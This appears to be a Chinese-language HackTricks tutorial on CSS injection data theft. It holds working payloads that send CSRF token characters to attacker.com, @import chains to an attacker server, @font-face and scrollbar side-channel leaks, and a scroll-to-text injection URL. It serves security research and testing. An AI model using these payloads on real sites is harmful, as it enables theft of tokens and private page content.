CSS 注入
Reading time: 27 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
CSS 注入
属性选择器
CSS 选择器被设计用来匹配 input
元素的 name
和 value
属性的值。如果输入元素的值属性以特定字符开头,则加载预定义的外部资源:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
然而,这种方法在处理隐藏输入元素(type="hidden"
)时面临限制,因为隐藏元素不会加载背景。
绕过隐藏元素的限制
为了绕过这个限制,您可以使用 ~
一般兄弟组合器来定位后续兄弟元素。然后,CSS 规则适用于所有在隐藏输入元素之后的兄弟元素,从而导致背景图像加载:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
一个利用此技术的实际例子在提供的代码片段中详细说明。您可以在 这里 查看。
CSS 注入的先决条件
为了使 CSS 注入技术有效,必须满足某些条件:
- 有效负载长度:CSS 注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
- CSS 重新评估:您应该能够框架页面,这对于触发使用新生成的有效负载重新评估 CSS 是必要的。
- 外部资源:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略 (CSP) 的限制。
盲属性选择器
正如 在这篇文章中解释的,可以结合选择器 :has
和 :not
来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。
还可以使用这些选择器从多个相同类型的块中提取信息,例如:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
结合以下的 @import 技术,可以从盲页中通过 CSS 注入提取大量信息,使用 blind-css-exfiltration。
@import
之前的技术有一些缺点,请检查先决条件。你要么需要能够 向受害者发送多个链接,要么需要能够 iframe CSS 注入漏洞页面。
然而,还有另一种巧妙的技术,使用 CSS @import
来提高技术的质量。
这首先由 Pepe Vila 展示,其工作原理如下:
我们将 只加载一次页面,并仅通过导入到攻击者的服务器(这是发送给受害者的有效载荷)。
@import url("//attacker.com:5001/start?");
- 导入将会接收一些来自攻击者的CSS脚本,并且浏览器将加载它。
- 攻击者发送的CSS脚本的第一部分是另一个
@import
到攻击者的服务器。 - 攻击者的服务器尚未响应此请求,因为我们想要泄露一些字符,然后用有效负载响应此导入以泄露下一个字符。
- 有效负载的第二部分和更大部分将是属性选择器泄露有效负载。
- 这将向攻击者的服务器发送秘密的第一个字符和最后一个字符。
- 一旦攻击者的服务器接收到秘密的第一个和最后一个字符,它将响应步骤2中请求的导入。
- 响应将与步骤2、3和4完全相同,但这次它将尝试找到秘密的第二个字符,然后是倒数第二个。
攻击者将遵循这个循环,直到完全泄露秘密。
您可以在这里找到原始的Pepe Vila的代码来利用这个,或者您可以在这里找到几乎相同的代码但有注释。
note
脚本将尝试每次发现2个字符(从开头和结尾),因为属性选择器允许做如下事情:
/* value^= 匹配值的开头 */
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= 匹配值的结尾 */
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
这使得脚本能够更快地泄露秘密。
warning
有时脚本无法正确检测到前缀+后缀发现的已经是完整的标志,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。
不用担心,只需检查输出,因为您可以在那里看到标志。
其他选择器
使用CSS选择器访问DOM部分的其他方法:
.class-to-search:nth-child(2)
:这将搜索DOM中类为"class-to-search"的第二个项目。- **
:empty
**选择器:例如在这个写作中中使用:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
基于错误的XS-Search
参考: 基于CSS的攻击:滥用@font-face的unicode-range,基于错误的XS-Search PoC由@terjanq提供
总体意图是使用来自受控端点的自定义字体,并确保文本(在这种情况下为'A')仅在指定资源(favicon.ico
)无法加载时使用此字体显示。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- 自定义字体使用:
- 自定义字体通过在
<head>
部分的<style>
标签中使用@font-face
规则定义。 - 字体命名为
poc
,并从外部端点获取(http://attacker.com/?leak
)。 unicode-range
属性设置为U+0041
,目标是特定的 Unicode 字符 'A'。
- 带有后备文本的对象元素:
- 在
<body>
部分创建一个id="poc0"
的<object>
元素。该元素尝试从http://192.168.0.1/favicon.ico
加载资源。 - 此元素的
font-family
设置为在<style>
部分定义的'poc'
。 - 如果资源(
favicon.ico
)加载失败,则在<object>
标签内显示后备内容(字母 'A')。 - 如果无法加载外部资源,后备内容('A')将使用自定义字体
poc
渲染。
样式滚动到文本片段
:target
伪类用于选择由 URL 片段 定位的元素,如 CSS Selectors Level 4 specification 中所述。重要的是要理解,::target-text
只有在文本被片段明确定位时才会匹配任何元素。
当攻击者利用 滚动到文本 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
:target::before {
content: url(target.png);
}
在这种情况下,如果页面上存在文本“Administrator”,则会从服务器请求资源 target.png
,这表明该文本的存在。此攻击的一个实例可以通过一个特殊构造的 URL 执行,该 URL 嵌入了注入的 CSS 以及一个 Scroll-to-text 片段:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
这里,攻击利用 HTML 注入来传输 CSS 代码,针对特定文本 "Administrator" 通过 Scroll-to-text fragment (#:~:text=Administrator
)。如果找到该文本,则加载指示的资源,无意中向攻击者发出其存在的信号。
为了缓解,以下几点应注意:
- 受限的 STTF 匹配:Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意秘密或令牌的能力。
- 限制在顶级浏览上下文中:STTF 仅在顶级浏览上下文中操作,不在 iframe 内部工作,使任何利用尝试对用户更为明显。
- 用户激活的必要性:STTF 需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互),可能会简化攻击的自动化。
了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
有关更多信息,请查看原始报告:https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
您可以在这里查看一个 使用此技术的 CTF 漏洞。
@font-face / unicode-range
您可以为特定的 unicode 值指定 外部字体,这些字体 仅在页面中存在这些 unicode 值时 被 收集。例如:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
当您访问此页面时,Chrome 和 Firefox 会获取 "?A" 和 "?B",因为敏感信息的文本节点包含 "A" 和 "B" 字符。但 Chrome 和 Firefox 不会获取 "?C",因为它不包含 "C"。这意味着我们能够读取 "A" 和 "B"。
文本节点外泄 (I):连字
参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤:
- 创建自定义字体:
- SVG 字体是通过具有
horiz-adv-x
属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。 - 示例 SVG 字形:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
,其中 "XY" 表示一个两个字符的序列。 - 然后使用 fontforge 将这些字体转换为 woff 格式。
- 检测宽度变化:
- 使用 CSS 确保文本不换行(
white-space: nowrap
)并自定义滚动条样式。 - 水平滚动条的出现,样式独特,作为指示器(oracle),表明文本中存在特定的连字,因此存在特定的字符序列。
- 涉及的 CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- 利用过程:
- 步骤 1:为具有较大宽度的字符对创建字体。
- 步骤 2:使用基于滚动条的技巧来检测何时渲染大宽度字形(字符对的连字),指示字符序列的存在。
- 步骤 3:在检测到连字后,生成表示三个字符序列的新字形,包含检测到的对并添加前导或后续字符。
- 步骤 4:进行三个字符连字的检测。
- 步骤 5:该过程重复,逐步揭示整个文本。
- 优化:
- 当前使用
<meta refresh=...
的初始化方法并不理想。 - 更有效的方法可能涉及 CSS
@import
技巧,提高利用的性能。
文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资源)
参考: PoC using Comic Sans by @Cgvwzq & @Terjanq
这个技巧在这个 Slackers 线程 中发布。文本节点中使用的字符集可以 使用浏览器中安装的默认字体 泄露:不需要外部或自定义字体。
该概念围绕利用动画逐步扩展 div
的宽度,使一个字符一次性从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两个部分:
- 前缀:初始行。
- 后缀:后续行。
字符的过渡阶段将如下所示:
C
ADB
CA
DB
CAD
B
CADB
在此过渡期间,unicode-range 技巧被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,后者明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
note
基本上,unicode-range 用于检测字符,但由于我们不想加载外部字体,我们需要找到另一种方法。
当 字符 被 找到 时,它被 赋予 预安装的 Comic Sans 字体,这使得字符 变大 并 触发滚动条,这将 泄露找到的字符。
检查从 PoC 中提取的代码:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
文本节点外泄 (III):通过隐藏元素泄露字符集,使用默认字体(不需要外部资源)
参考: 这在这篇文章中被提到作为一个不成功的解决方案
这个案例与之前的非常相似,然而,在这个案例中,特定字符比其他字符更大的目标是隐藏某些东西,例如一个按钮,以防被机器人点击,或者一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源)
参考: 这在这篇文章中被提到作为一个不成功的解决方案
在这个案例中,我们可以尝试通过从同一来源加载一个假字体来泄露字符是否在文本中:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
如果匹配成功,字体将从 /static/bootstrap.min.css?q=1
加载。虽然它不会成功加载,但浏览器应该缓存它,即使没有缓存,也有304未修改机制,因此响应应该比其他内容更快。
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 disk-cache-size=1
标志,这真的很周到。
文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集
参考: 这在这篇文章中被提到作为一个不成功的解决方案
在这种情况下,当发生匹配时,您可以指示CSS从同一来源加载数百个假字体。这样,您可以测量所需的时间,并找出某个字符是否出现,方法如下:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
机器人的代码如下:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
因此,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间将更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
参考文献
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。